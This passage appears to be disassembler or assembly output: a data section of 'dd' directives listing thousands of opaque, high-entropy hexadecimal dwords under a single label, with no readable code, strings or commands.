0CFA0DB4h dd 3E5570ABh, 717D0007h, 0B006D93Eh, 7316BB96h, 0C20D066Eh dd 945CBB36h, 50ED2BA0h, 0B636F1D6h, 1ED76B1Ah, 5575EE0Dh dd 9174EEC2h, 0C27A7172h, 5917A2D5h, 76F43088h, 930B903Ch dd 0C63F6E19h, 4A1F1634h, 1B323296h, 0C8A8D5D8h, 18396D68h dd 44723905h, 66370771h, 0B5FD269Fh, 0D60AA66h, 720202B6h dd 9FC8B901h, 21D6E9E4h, 29994B4h, 0AC5039F5h, 0E02ECD4Bh dd 0E542C1ABh, 0A2A10052h, 0DDD13955h, 2996939h, 6DB7249Ah dd 9F17E81Bh, 0DC8EF550h, 0DEED9EE6h, 0ABB0A67Bh, 0ED6C6BE1h dd 0B361DEA3h, 0ACE5AFF1h, 44F6737Dh, 9231B549h, 0AC341B1Bh dd 7AD623BBh, 14574487h, 0E51C8879h, 0EEFB4747h, 0AA9E560h dd 0E41FAC40h, 0E4433B8h, 0A92D894Fh, 11A95F29h, 2D4D2E50h dd 2CF9B297h, 21032D8Ch dd 2D462B61h, 75A664C1h, 9058925Eh, 245DD1Bh, 89AB9FF5h dd 49C96373h, 0A74AB076h, 6BF85C14h, 0DE8CD4EFh, 0D85AF68Bh dd 0BE3BE1A1h, 0E8C9606Dh, 1AC79809h, 0CDE229F0h, 496525CBh dd 0F770010Ch, 5497C21Eh, 5F04AE14h, 768EBA47h, 0DAABAE9h dd 9A969A2Bh, 64A99131h, 28BF4418h, 0CEBE1A5h, 0BB205470h dd 520CCB4Eh, 20D54D0Dh, 0C53C9F29h, 7CA68DAFh, 0DA027825h dd 13F49D59h, 5D9C91E2h, 0F9A12E3Eh, 3B5AC530h, 1CC0B04Ah dd 9F89F4D1h, 0E46F80C2h, 8D90A4EFh, 76D81494h, 43E6A484h dd 71B32C4Ah, 84A8022Dh, 439079CFh, 0E6CC0D3Bh, 2BCF3AD5h dd 65A1CC6Dh, 4EF592F5h, 82A5EA28h, 44478037h, 0F0A56E1Fh dd 5F182EFAh, 43D79368h, 0CFE9FA65h, 5ADA5CD7h, 830E0853h dd 8D321415h, 4A788799h, 0D9C58EA4h, 38757698h, 0E6E575F5h dd 8E5F2B03h, 2DB0BEC7h, 0ED7BB754h, 1B808C6Fh, 18047B03h dd 0FB87BCF2h, 53C90646h, 237DEB0Fh, 0B90FBAFFh, 1E9D7EF4h dd 18677186h, 0E10BD62Ch, 20C5055Dh, 42B21000h, 3950611Ah dd 6D4BD3BEh, 958FC476h, 14230D88h, 16DC1665h, 5AE8EE01h dd 8DB60402h, 0C1A8FB46h, 0A01C6F2Ah, 6E516BB4h, 5AE024C0h dd 0EFC7ED48h, 0AD3EC32Ch, 0CACA2F51h, 616033A1h, 91570289h dd 0BB92AA89h, 0A528E02h, 0CD28F40Ch, 0C2EAF969h, 0B9D5313Ah dd 6991430Eh, 0E1D981A8h, 0BBEEBDCEh, 580BE152h, 4CE62C50h dd 313F69C0h, 853CC337h, 0DAC192F6h, 7E1B98Dh, 912E4373h dd 0E3ABB61Eh, 8977DD40h, 67A87FEEh, 0A49019C9h, 0B0ABA266h dd 0CEAB8F79h, 5C69ABA4h, 96E4CE52h, 9C05A7D1h, 3F33ECFCh dd 0CBAC4353h, 37DDD748h, 59334A8Ah, 2BC7A81Fh, 0D839AD0Dh dd 11D8EA72h, 0F7E3DBF9h, 0AA36381h, 48759A4Ah, 0B68B0A1Fh dd 47AA397Dh, 0D0D61DCBh, 52F917ECh, 7D90AEFAh, 4E622D64h dd 7FC52240h, 0E0B4F33h, 4A2EA440h, 0F68CD99Bh, 857ADC6h dd 3B07BA76h, 15C712CBh, 0BB298D06h, 0C5D1A43Dh, 8C981663h dd 1680F30Bh, 0F76F6B4Ah, 0C9084BE8h, 697FE8CEh, 53656C13h dd 77D94245h, 0C846EFB5h, 0FBC0AE78h, 209511FEh, 0D04A650Bh dd 6CAEE4A0h, 3D37CE9Ah, 1BF01777h, 0B93A8489h, 0F807E3A6h dd 99BFDC5Eh, 7E9BA9B7h, 0C2EB3DEFh, 3DFE9E75h, 688FE760h dd 1B667764h, 15163977h, 1F82288Ah, 9075721Eh, 0F67E4501h dd 660E2DB6h, 0EE96DDB0h, 0F86429A4h, 0A4BD1700h, 48853BDFh dd 3AB8E014h, 0A3193661h, 0F65EC883h, 37187E88h, 264037A0h dd 0EC733C22h, 3D611FA9h, 6B177FC0h, 4F0E74BAh, 0CC2C9A0Fh dd 0B79231A4h, 6D819E54h, 294CB0F7h, 9AFEEC0h, 920CE9DAh dd 612E4685h, 81EB0Ch, 0E5BD9B16h, 0BC3D2D43h, 0AEF7691Bh dd 44873A1Bh, 65F05361h, 0EBD12Dh, 0C6CC5176h, 0EE607ACBh dd 24CB1CDCh, 14072EC9h, 0EDD57DB0h, 0FBD2275Bh, 8FA67638h dd 1132DE83h, 37DB5DEAh, 0C2FE0105h, 0EA577AC0h, 2C0446E0h dd 0A18F8871h, 0D3A51561h, 0DEC5549Dh, 67FBAD15h, 3037FEB7h dd 81F758F5h, 0EC9F7C33h, 4BC8937Ch, 0A4EBA4CBh, 43C4A16Fh dd 0DFC51037h, 1DB6FB74h, 0B29F1AB3h, 32D90F4Fh, 666E5134h dd 71ED719Eh, 25F086FAh, 4865FAF9h, 71530572h, 7D4F6BD1h dd 5141A536h, 9AF0FB33h, 3F6AADFDh, 5D552035h, 0DF11EF5Eh dd 32110585h, 0D8DF423Bh, 6A73F0F3h, 1EC01B04h, 677C5AE1h dd 8A7FF7E8h, 0CA67F27Ch, 0FE5DF6BAh, 0CCBEF95Ch, 248A0BE4h dd 33CD9C2Ch, 0AEBFF687h, 2DC35D9Ch, 0D3677469h, 4FAC4558h dd 40A9A5BCh, 9E03A2AFh, 6A4C5AFCh, 0E7E38982h, 62EC047h dd 56DC52D5h, 575DACF2h, 0B3DFDA31h, 21B10732h, 0BB71290Dh dd 56749FAAh, 6309A5F8h, 62697EE4h, 9EE2A204h, 373B6954h dd 0CE16B570h, 0E144CDCEh, 6CED3Dh, 0A8E87F05h, 0B19FEFCFh dd 0CFFF905Ah, 0E3AF8B7Ah, 0A760B89Ch, 0B8E138C9h, 0E74553A5h dd 17F85DA5h, 9291C460h, 0B766B670h, 0B047D7F5h, 21D8F0BBh dd 7C9A7919h, 856110F4h, 0D8C72E1Dh, 11494756h, 13E40D73h dd 42F7DC2Eh, 91B8FE27h, 0AA82268Dh, 0E31173DEh, 2C660BE7h dd 424E32CBh, 9DAEF073h, 4D300D36h, 8C852692h, 4E9E9185h dd 3118692Dh, 381E99B0h, 9F4973BBh, 0F34EED8Eh, 0DE0FDCE6h dd 3C7827E9h, 82657068h, 1FC2C2B4h, 27E8BF80h, 0F3421F8Ch dd 4AB1A201h, 0B698D32h, 229BD4FFh, 0FCD9879Eh, 0CA04C949h dd 5A919058h, 7D89932Dh, 5F0DC1B2h, 0E1B733C7h, 9E6FB4DAh dd 0AE37F0FEh, 8CD8E57Fh, 2B38A1A0h, 20AFE152h, 1E0ECD62h dd 0DECF20ABh, 0F70D9CDEh, 50177F33h, 4E37FB8h, 4EDEDF70h dd 0F9871809h, 0E6B5D07Fh, 29339333h, 9523849Ah, 84A7F90Fh dd 77A7E8F2h, 0B172B1DAh, 80EA63DFh, 1B577708h, 535E3142h dd 6D5027DEh, 1A324F08h, 9BC0279Bh, 0CF7831E8h, 0FA1B341Fh dd 53750A19h, 0EFB015A2h, 0F36FF229h, 0A17CCE48h, 9AE39DEFh dd 0BCAAC7EDh, 9EE8ED29h, 398796BBh, 0DD0CF1D8h, 878FEF86h dd 16D32341h, 1FC38EDh, 808F8453h, 2015AB00h, 1790CD9h dd 776FB53Fh, 0A58DCA78h, 0B2A0154Eh, 15BA3F6Ah, 0EA6D133h dd 4DEE83C1h, 2CFFD768h, 0D20413C8h, 242B8D4Ah, 29160932h dd 764CED10h, 874E74F8h, 576821C7h, 0CFD27119h, 787FA984h dd 0A82FDD52h, 0BDEBBCDh, 0A18C0BE5h, 0A925085Bh, 10D4EFA2h dd 1DDE07A3h, 78235BD1h, 0C66C469Dh, 2C52E1E1h, 8C9B6338h dd 2371018Fh, 0A7024582h, 9CC15B3Fh, 0B6B1EF67h, 0DEFA351h dd 4DD58C57h, 2EFF033Fh, 0B1E77F94h, 0C8607AB3h, 47DC2FBFh dd 0A2715183h, 484A5BD1h, 0EAC0C405h, 0A9BBE6E7h, 0E886532h dd 97AAE9CEh, 4C29C24Dh, 4D50A666h, 0B4F7A93Ah, 0D238AC8Bh dd 48C06AC3h, 59A1C608h, 93EE583Eh, 5A3CFBF0h, 0F3169726h dd 65F4E5AAh, 7C5B284Dh, 0E5133CC4h, 1D155BCCh, 17B63C3h dd 2DA396F6h, 0D7DA1710h, 60BE15AEh, 2016DD3Bh, 293D8D8Eh dd 62BA9E39h, 0AC481BACh, 0E85469C0h, 0B67B4A14h, 0ECCFBBE7h dd 3C1A820Bh, 0FEA8CC61h, 0A6B086C0h, 13C02A65h, 78FF78E9h dd 0EACAFEAAh, 39298146h, 630B32E9h, 6D4C3C46h, 0D69617C1h dd 2072ED45h, 0B12AF70h, 1566CEFBh, 0E1026906h, 24E11CFAh dd 6D8ED364h, 0EC9643A2h, 63BE4528h, 52EA118Ch, 3BDA4722h dd 0F6D93178h, 51A83208h, 6601841Bh, 7AB00167h, 38114BF3h dd 1F73AC0h, 0A73C87Ch, 0DE8DFA57h, 0A68388CCh, 3C1D62CFh dd 9377953Ch, 28A86B2h, 48346A38h, 530175C0h, 2916E8C8h dd 6601B90Dh, 8AD81772h, 9F835B76h, 4101096Fh, 24126C4Eh dd 80699F9Dh, 0C7EAE512h, 2D365006h, 0A520F5EAh, 392B3C3Fh dd 30F5F90h, 4694CB59h, 28732041h, 9001708Bh, 0B6C96302h dd 0FDBFDCCAh, 55BD8E64h, 2F064581h, 0F81A86E5h, 0F059AB23h dd 0A02BA65Fh, 0E5755B8Dh, 98376733h, 6B002A01h, 0D1213D64h dd 462A06Ah, 9A33E1EFh, 772E77DBh, 67BC811Ah, 85155878h dd 44950FD3h, 5796899Fh, 0D709EC53h, 0FB44A07Eh, 24A9B015h dd 0D64351C6h, 0CCC90B5h, 2F3A8B41h, 1EDA6934h, 0B105BE5Bh dd 5EBA2896h, 92BBAF67h, 60530EE8h, 0F6B77565h, 0C5BEF16Eh dd 0F1570BCh, 0AFC64796h, 447603BAh, 88FA1419h, 758F6C72h dd 0B020BE5h, 0C90A9AE1h, 58F3EFFh, 10ACA239h, 43DC2338h dd 565D0CE2h, 0D238D81Ah, 8E03E5F8h, 0A5CCAE57h, 54F72220h dd 39127078h, 0DC46311h dd 1BD80F3Bh, 429FD80Dh, 5D363ABCh, 5D1972F9h, 0A1926351h dd 1C260A99h, 966D6A1Fh, 979CC207h, 0C2A666FCh, 96D7A0D6h dd 6B94C955h, 925AF492h, 0E60FFCDAh, 958FEE7Ch, 0E2EAC5DCh dd 0D924D4E7h, 0CF043B9h, 5834161h, 96E2B246h, 1B4DED95h dd 0F94AB1Ch, 5DCFC62Dh, 0CCC830Fh, 68B3047Fh, 0A771D166h dd 41C4038Ah, 5765664Ch, 0CB5628Ah, 1E493649h, 0C663244Ch dd 412B369Fh, 7F20AC77h, 8706A724h, 362F89A5h, 48EDA3AFh dd 636F10AEh, 0D9F97ACAh, 19CE4547h, 0A8AD930Fh, 5FD8F9ADh dd 22521B3Eh, 0C2D3091Dh, 0DBA6891Eh, 7A4960F1h, 6803CECDh dd 340B0DD4h, 0E16CC479h, 0C2CF0168h, 0CC7C4348h, 3F7EADFCh dd 47FE78ADh, 8E992A71h, 21CA2266h, 4738C1E2h, 0D56828E2h dd 10D1FAA9h, 0CC4BC1E7h, 1D7E337Fh, 0BEE40BF7h, 8909A669h dd 0DE622933h, 9F9302B6h, 0B56FD5Ah, 7C0CD00Eh, 0E009F369h dd 8CDB2CB2h, 0E73AB8Fh, 6E42A18Ch, 0E8A0CAE6h, 0CC9F979Ch dd 2BDB2F85h, 8AF81F14h, 1C3DE0DCh, 4C9E0500h, 0FA9DFE41h dd 98E7D1D3h, 495FEA9Ah, 9E2941A9h, 0CDC542Eh, 0D1468E9Bh dd 4BB12E6Bh, 121E3Eh, 0B7457D98h, 3A800B2Fh, 0D3DC5F47h dd 8B82C8D9h, 0FDEA60B9h, 1AFD7FE8h, 0CCD08DE0h, 82AA9F70h dd 0B2D5F2F7h, 60608E7Fh, 0F0802FC3h, 24BE9B8Dh, 0BB0A1B3Eh dd 0DE816C29h, 0F093744Eh, 20B073BBh, 8A3BA61h, 557CC333h dd 0E64BBA77h, 0C320B1BCh, 2CA61BFDh, 4CB2FD1Ah, 4EDFDC01h dd 57107462h, 0BD2B02A6h, 0F0364ED9h, 29B4138Bh, 2C8871DDh dd 0BB424B0Ch, 2A3CB445h, 478C64D2h, 124812B3h, 9C181A9Fh dd 0A0FE5D91h, 0AD6F0427h, 0FEB316C8h, 558EB572h, 0C62C9072h dd 0AB80A050h, 5FA460D8h, 0FC75C378h, 790B0B58h, 84769D39h dd 5362B13Ah, 48E85389h, 0EF15959Bh, 0FD242F19h, 517A9816h dd 25DDCE02h, 0F3A8FF7h, 0FB5C4A53h, 72114800h, 58A153DCh dd 70D1390Eh, 0C3E7CE29h, 79F92D98h, 0DF335E51h, 54CBF33Bh dd 0E5200AA4h, 0D417A8CEh, 0A8996C79h, 0C8E4CD24h, 24E33FDFh dd 72C7FB59h, 9F551544h, 6839D983h, 8A1F00C9h, 134AA5D5h dd 1D2BD4DCh, 0B344392Fh, 7D2D3DE3h, 0ECC141C8h, 0CD4BB08Ch dd 401FA220h, 0A753DDE8h, 0C1A1EA04h, 0D64E7861h, 0FA72D193h dd 89AA8A1Bh, 0DCE5B1F2h, 0E8380566h, 0F6803FE7h, 2DEF76EBh dd 539E4E4Ch, 0A99E3025h, 700EAA30h, 0CAE1D238h, 0CB11ED88h dd 0B2068D66h, 3A96604h, 0E543B234h, 0A0372C17h, 0E07A868Ch dd 0D041EA5Dh, 71BC8827h, 0FE4CEF81h, 184C6257h, 1D85EA63h dd 0D6C1841Dh, 0F65B8EE9h, 709826FCh, 7D8BD146h, 77D4383h dd 9A86A078h, 84F55970h, 4682CAF9h, 0E8EE3B92h, 0EB9302A9h dd 763E3AFh, 0DE2CFDDEh, 0BE01BB33h, 55C23FE4h, 0AF028F97h dd 4C36F6h, 4EEC0E99h, 0E74FA99Ah, 11974EB1h, 3DDC8F76h dd 6D047D99h, 6B17A0ABh, 5C4255Bh, 607C32E6h, 0C8B66C1Dh dd 6B4D0FF9h, 0DC0A7AB0h, 71B3651Bh, 0E24074C2h, 13CB1B4Eh dd 6C224E72h, 3447EE92h, 0A5A7FE28h, 2290E6EFh, 0C01A85A3h dd 9CF7D54Eh, 0A951D985h, 0A36175BDh, 0B4E15B1Fh, 9779431Ah dd 0F997CB49h, 9F4D6E65h, 30096B59h, 0C0D74B5Eh, 0BC09C5CFh dd 0AFDD9EE6h, 0AFC24B0Ah, 0CDFDB1C7h, 660622CBh, 0CCCEEF52h dd 1D77F0BEh, 8CCA7703h, 49A94C06h, 7E1BD092h, 0A9302393h dd 0B348C46Dh, 0BAB21502h, 6CC7C41Ah, 0A25A1EA5h, 0C05F027Eh dd 542491BBh, 0F8D4D256h, 0D1B5183Ch, 7D9B1AD0h, 16A129A7h dd 281D3D93h, 55A50361h, 29FD2180h, 163A9379h, 0E5D895C3h dd 0DF34F427h, 0F5650BFBh, 62BE3B3Bh, 6256324Eh, 83354C7Ch dd 54E8188Eh, 0BC003BEAh, 0D2190823h, 5BEE866Fh, 863E0EC1h dd 0E97A6D4Ah, 81074A77h, 0D1BD2977h, 34A4371Fh, 0B9A25452h dd 149FA003h, 7B74DD09h, 5ED8FBCAh, 5FBC1D99h, 0FD4363D7h dd 40BA5F4Ch, 9CE5631Fh, 0D98D02D5h, 26E7EA32h, 0E0F48F75h dd 0B1E06F56h, 65E972E0h, 0DFE36276h, 9AF053A3h, 41446911h dd 1B28548Bh, 5CBDB775h, 7FCC9162h, 0C26564DFh, 879CC197h dd 47C175D2h, 0ED4FA9F9h, 22B3FB8Fh, 3614A77Fh, 1E1A4997h dd 3789FB47h, 0FDDBEA33h, 0D54E552Ah, 1FAA8F4Ah, 12C60C05h dd 806672C8h, 1EB7799Eh, 2A5047B1h, 3AB4A286h, 0F3A81DCEh dd 32F2D120h, 4BAFC79Ch, 6C378F76h, 0AFD0AF53h, 6A2C81F6h dd 725EFA3Eh, 0D342B65Fh, 4E911B02h, 0DB89C9B3h, 0FECABD58h dd 0F6528DB0h, 0A6EA3D56h, 0FF380182h, 62A251C2h, 78F7CA21h dd 2A9EB786h, 2822AE20h, 8CE8FC23h, 471CEB4Ch, 4CACA850h dd 0B851E270h, 8D0AD76Dh, 0C1968281h, 13C9EF0h, 87136C12h dd 0E446C0B0h, 0F709D467h, 1A3FCA3Fh, 16FF7759h, 8F00FA76h dd 0D96ECAD7h, 0A19B65CBh, 7B8FD3Ah, 0DF5080BBh, 3C71AB3Dh dd 0A135038Fh, 0CB8A81B4h, 0F2253F1Dh, 6450DBAEh, 9C787E5Bh dd 0F970DCE7h, 2FA7085Eh, 37AA1976h, 6956454h, 0CDBA3755h dd 5B2F9EF8h, 85E5DF8Ch, 7819BDEDh, 0CD7ABA0Dh, 32CEFE2Ch dd 0A4ABE842h, 0E3632FD5h, 5CEC9735h, 0F1468F82h, 3954A668h dd 79630B8Eh, 7D9921EEh, 380D9B3Eh, 54D2990Dh, 93D6A357h dd 502F0A47h, 2641E321h, 6BA4B196h, 920CA4C4h, 7609237Dh dd 0AB2B3561h, 7FFE07E9h, 0FE6D8143h, 989345ADh, 1EC148D2h dd 7B191FDFh, 485048A5h, 0E7A364ADh, 95D174D8h, 8E517C37h dd 2F476F43h, 0A0FC0EE1h, 4F6CD96Ah, 0C381E53h, 76302B28h dd 6E5AE370h, 32A7E20Eh, 19F52063h, 931382EEh, 0C91AA753h dd 49AD08FEh, 9CC8E3A8h, 6F2922A8h, 0EAD8512h, 69965457h dd 0D69FF29Bh, 0DD1D22EAh, 332467DFh, 6FB1C529h, 841FA97Bh dd 59DA9F45h, 46E2FB39h, 0CD32A93Eh, 39C86505h, 862C13A5h dd 0BC11F17Bh, 0DBEA2D4Ch, 63BDAD8Ah, 17F604EDh, 20225221h dd 3A2D97E5h, 8F8030CDh, 0EB3730EEh, 582BB902h, 7D7AD0B6h dd 0AE4E6C20h, 53525AB0h, 209D5B22h, 0D607CD3Dh, 0FFB75A44h dd 0A6C932F4h, 9996E243h, 9D7E4714h, 8210ECE2h, 0ACA9E85h dd 72677053h, 43D988FCh, 5270C1CFh, 983A7EB8h, 0FFE60077h dd 84CB8C53h, 2FC46A54h, 0C337A80h, 6186377Bh, 896DBE59h dd 8F75DB0Fh, 0A315776Bh, 7F450AFh, 0AD893714h, 0A70B8EE0h dd 0D694B2A5h, 5B13BB77h, 9F04CF8Ch, 4A388513h, 0A62AD0EFh dd 0BBD620AEh, 52032391h, 0C14ABA6Eh, 99C65520h, 4D892EFh dd 0F8613AA7h, 0F7F800E9h, 4B034C6Ah, 0D4D28CF2h, 475FF0BCh dd 555A40F6h, 95E8A7E6h, 6A0A7299h, 0C54D4C3Bh, 0FEFBF80Fh dd 0E1849DA1h, 0E0F5DF05h, 5D7CE13Ch, 198CA160h, 17EF6283h dd 6BCC2ABAh, 0CE707C38h, 0EC51D657h, 512EC94Ch, 6457B120h dd 0A9ADEB2Eh, 0A0033339h, 9141F131h, 6C459BAEh, 51E9C789h dd 89B34897h, 0C8C41F77h, 208B97ABh, 189A11D5h, 0A8F8B1CEh dd 0F66B2AE4h, 58EDD06h, 697D502Eh, 5A22E2BEh, 931E99CCh dd 45F069B3h, 34ED5108h, 7601118Ah, 0ADCCC430h, 0D01A4C72h dd 85653C2h, 1C63E49Ah, 4A2A9DFAh, 0F1D6234Fh, 0D1CC97FEh dd 4855E020h, 361E9024h, 90191CECh, 47FB6B87h, 17100173h dd 0BA43C809h, 2046298Eh, 0A930B2CBh, 8E586B7Dh, 26C4A5D1h dd 0EE0CCCEFh, 5F0C5083h, 0FB32C2Eh, 47DD2601h, 9BED050Eh dd 0F41F4FD2h, 42CBEFAh, 33F2F863h, 3643B8B0h, 75D4E0D5h dd 138796F3h, 375995EBh dd 0DBE5275h, 3C7B6772h, 0E64BC075h, 40D3CE7Ah, 0BDA29EA7h dd 0C322F54Ah, 7F87F631h, 2E82D198h, 4963F921h, 0FD838831h dd 0AC58AD1Eh, 0E93E2BEDh, 728877BFh, 7F4A1F96h, 4000C55Ah dd 6647E1B2h, 65B01F54h, 0B840A249h, 0E8D66EBAh, 264D689Bh dd 9287012Ch, 0B9CAE27Ah, 4AABBE4h, 4400F5FFh, 1D6C3802h dd 65B7127Ch, 8A51278Ah, 0D5D8FC0Ch, 6BC1B752h, 0E0F81A89h dd 59CBC8EDh, 0D6E2A182h, 5ABFC55Bh, 201CBDFFh, 81D8D7D8h dd 9BD3843Ch, 1E9FC13Eh, 0FC52CE8Fh, 5C4E36A1h, 5314320Bh dd 0DBED8413h, 0F837A1DCh, 0EB056487h, 0F096E2F3h, 0CD842D87h dd 3E44BA01h, 37B0A99Bh, 74663678h, 99930010h, 0CC3807C5h dd 0F7A42CFDh, 0D2D87450h, 6DC6EBAEh, 9BF0E58Eh, 288DED10h dd 0F0F03DA1h, 98A413A1h, 23EE0326h, 0C20A6A5Fh, 75496F0Ch dd 0C5377F4Dh, 0E5FAC140h, 0E40DFFBCh, 35F97D95h, 28E05C2Bh dd 53CE6AF5h, 10019E54h, 2D848EE7h, 0DBF759F8h, 0AC70B70Fh dd 0E41A2BA5h, 765634E2h, 441D1295h, 0F110ECA3h, 9E292C74h dd 0EB9FDD21h, 75A98399h, 27A11631h, 7750AE5h, 0E0FCCD25h dd 9FEAD137h, 0E6B64C4Eh, 60A41931h, 0A845435Bh, 0DCEAACC0h dd 0DC3E9343h, 388D8F78h, 3D972434h, 1BFE2D54h, 0EEBB076Eh dd 0B4C0A034h, 0F8A5B9CAh, 4EAB3AF3h, 22FDD18Bh, 0A3CC0B3h dd 8AFDF967h, 0E9E5BD15h, 0F96B5809h, 8D09F40Ah, 3BF60A64h dd 2FBBF178h, 0BB17E56Eh, 0F561B15Eh, 0F391A01Ah, 0CB0E336Bh dd 0AD6B4FC6h, 0A95F5D07h, 60759575h, 0E6AB2698h, 551FBA03h dd 3E8EB6Bh, 0E2C15BABh, 6362C27Eh, 767EC202h, 5B1B8DE6h dd 0D46FD083h, 0CD683640h, 0E55A2B53h, 60542FD4h, 3E7F761h dd 9AC26256h, 0A8FE1845h, 0CA096AEDh, 0C6ED509Ch, 7B65C92Eh dd 0E700EB4h, 78207F72h, 0E7E07BC8h, 9C22F4C4h, 0FD9F2BFDh dd 0C5B2D7h, 68D0865Eh, 54AEA79Bh, 1E14E745h, 2FC239AEh dd 839F0190h, 98EF041Dh, 61CEE35h, 0BB3666DEh, 89751E5Eh dd 0FB983258h, 0A3032201h, 0BE872D87h, 2F913172h, 0BBB21545h dd 0E7A39BE0h, 0E778FEE6h, 1DFE560Eh, 277EB0E3h, 0AEB7FE1Ch dd 909CAE4h, 0F8C62CC3h, 0E52EE293h, 0ED03D7A8h, 95B1DB08h dd 55E5D365h, 7EB27FB8h, 3C880B08h, 0C21F389Eh, 0CFE8557h dd 0BEE521FCh, 0EE0A71C1h, 829403C8h, 9F706A2Fh, 166B63E0h dd 7F2C0768h, 0A22FE401h, 0BC66FE4Fh, 20E432E0h, 6DCC4E80h dd 7D58613Ah, 858D1FB6h, 7D2D20h, 2CFECAE2h, 32191F89h dd 461FCB4h, 87A46316h, 8F413BE7h, 0ABDCB606h, 90299AACh dd 9D8A8C70h, 0BF3928E3h, 9927C42Bh, 2A4CA855h, 0CDAC7529h dd 0D6EB37E5h, 190CA94Ah, 0B2BC633Eh, 759A8C1Eh, 0D5AE075Eh dd 0E5F2FAAEh, 0F0D5F880h, 0DC22F146h, 0C8F7FF42h, 0F3529397h dd 4099BB7h, 0AD187804h, 0C0D9376Dh, 0A590F981h, 0B0AF09EAh dd 0EED50802h, 91CCA1F2h, 0FFE7CF44h, 0B15E22ADh, 1BD0F2F1h dd 7635FD55h, 45DC8ACFh, 6E58BD8Dh, 8CBDE1B1h, 2D11CE92h dd 9C0EB721h, 0DBDD07C9h, 3564DB8h, 0C0D41A09h, 98F5E027h dd 0FD80B528h, 0F35CF819h, 991C9BF3h, 0E41ADD9Fh, 0E0E77905h dd 44F86D2Eh, 43A1F38Ch, 0E26D895Ah, 0DCAEC4F0h, 28B084ADh dd 1638BFE8h, 93F626F8h, 82580B9h, 2ED0A5F5h, 5C27F9CFh dd 0FC8D8D75h, 28AFF80Bh, 27713D33h, 1455C871h, 36D5E6D6h dd 0C799BC9h, 0FF28749Dh, 63D7E09Eh, 0BFBE0258h, 0E635C2EBh dd 0C79DB26h, 0FD771225h, 0D5D79783h, 0F2B402ECh, 45EA14AFh dd 3AED14E8h, 377EAD31h, 42F6A71h, 0F49B4BE6h, 0BA87A658h dd 575C7B4Eh, 0D1798A5Bh, 0B5025979h, 59F4D3E6h, 7F9A431Fh dd 6867B7E3h, 8AA17F12h, 0DD68F856h, 4879EC34h, 14B6BA1Fh dd 0B8100132h, 0AC01D75h, 6907281Ah, 0BC4A7A1Fh, 0E15CD1B8h dd 499A6033h, 8D77FF2Dh, 8076C240h, 18F649DAh, 5C01042Ah dd 4A4A8D31h, 0DB108625h, 576BE73Ah, 5B3CBC9Dh, 187DD853h dd 39EA1A4Ah, 0B078D330h, 0D34C0DD4h, 0E5C67DF3h, 0D125A190h dd 0DED85977h, 0F9788DCDh, 84B96812h, 29DC5EA6h, 31FDCDC3h dd 577D8189h, 444E3805h, 9B21B135h, 0E0E481F1h, 0DAB9EB7Fh dd 0B3207FEh, 0F3C72E24h, 0FA8A5D16h, 2E044AFh, 61684B08h dd 939BDDD1h, 2465EF41h, 5C95CABFh, 814656B0h, 6BC970B1h dd 0FE36E0D8h, 0ACEE9D11h, 0BA5A2D96h, 420111Ch, 0AE0F1DAAh dd 3F17ED7Eh, 0A3614EC7h, 32B19ACAh, 321DC7FBh, 39262D35h dd 0FDDD8200h, 61C6F91Eh, 7F9DEC38h, 8C814BA7h, 0F12F2924h dd 0A7380F3Fh, 60FDDA1Ah, 1200915Dh, 4F7F0BCh, 0C36E5296h dd 0D6CE4080h, 4AAA99A6h, 0CFAA0283h, 0CE5698C0h, 0E58CC083h dd 2943F225h, 9207E929h, 1467E592h, 0AA0065BAh, 1BE8BB78h dd 32B5BFE3h, 0EB32AE17h, 4DAFD1BBh, 22400907h, 3C6EE48Dh dd 0C07FDB19h, 2B0C0189h, 5E690074h, 30C87B51h, 0D8C464C3h dd 132C07CDh, 84218D12h, 9DCFD058h, 9D736352h, 495EBC3Ch dd 2C4B7FCh, 0EFF53EFAh, 0A93CF13Ch, 5E51F7AAh, 0B73E25F9h dd 561A62AAh, 801C41A4h, 858D1A7Bh, 0D0F04A6Eh, 8F715F1Dh dd 126182DFh, 4C2C4E8Dh, 0C99B4A17h, 4D771934h, 98EF10D7h dd 0E1C660D5h, 7CEACDDFh, 7123D2B9h, 0AEB5FD1Fh, 0C5770ED7h dd 0E64BF278h, 3BF3D900h, 0B33FA97Fh, 0F3558FCEh, 994BEAD4h dd 0DE448B77h, 0CD73EEEEh, 728C0119h, 1A228B5Eh, 33DBAF49h dd 8D676A13h, 6E84CFFh, 0FC4C4EC0h, 533ECFD4h, 2881E1EBh dd 9CC6AEE3h, 49986DF1h, 0B8608F67h, 0A795EE65h, 3A8DA9CDh dd 2957051Bh, 0A4ADEB45h, 4703CA6h, 9D867F8h, 0CFF9BA4Ah dd 0B69F6D01h, 4CC37EEFh, 4DFDB63Eh, 0CFC36706h, 0CAFF47E4h dd 0D494C28Ch, 440F7BDCh, 5C6F78CFh, 0A6A8EBBBh, 85300CF3h dd 0BFDE350Eh, 0DF0AB2B4h, 0FD4BD8B4h, 3E284E58h, 0E31E38E4h dd 0B4A6354Ah, 8221560Ch, 656219C8h, 0B6055A3Eh, 0D70B081Eh dd 4E3A224Ah, 66E7E44Bh, 1BCB2645h, 8B914290h, 0FB5624ABh dd 688EAB74h, 40AC7DE9h, 0CC30BF8Dh, 225AFB53h, 4DEE5F29h dd 488AEEEDh, 0B20DD495h, 0EE583001h, 0ED73CD4h, 97EDDD3Eh dd 0BE2E51DBh, 0F043C816h, 609CA547h, 0CE1D152Ah, 9918BCB6h dd 69AD0F76h, 0A3DDAA51h, 0FC3A59DEh, 52FEDD9Fh, 92481F38h dd 851C463Ah, 0D188ACC5h, 8F7E1CA1h, 0CD9DD327h, 0E1099EDAh dd 214AC56Ch, 4E273B86h, 3F52CC35h, 5EDE98ECh, 0CF923842h dd 6E29BA83h, 9599FB82h, 0BD524DC9h, 0FB83E140h, 9D983454h dd 7A11DEE5h, 0FF4CF2BAh, 55348FBCh, 5C644160h, 7A9C8146h dd 2FFF67Eh, 16F69F5Dh, 80364719h, 8FEC9F57h, 0A2A83B19h dd 63AE9DF0h, 0AECA9DEEh, 597B7973h, 75D1DF7Bh, 41B1B9B8h dd 0B692ECBh, 1DC62A97h, 0D459DC42h, 33860B8Eh, 0E375EE36h dd 4FEB1495h, 0CC83EE01h, 93C1D895h, 5FADF76Bh, 0B41804C9h dd 0FD32B42Fh, 7691B070h, 0ADC646EEh, 80B15956h, 0C355468Dh dd 329B0F1Dh, 6D550C56h, 7741DFF8h, 0D4C390Eh, 71E23287h dd 0F95F23BCh, 0B535377h, 10524807h, 2BE620FCh, 2D5367D6h dd 5E7699Fh, 95807504h, 273F9F38h, 0FB2D4184h, 0FF646EE4h dd 36EEEDB2h, 0C53277A0h, 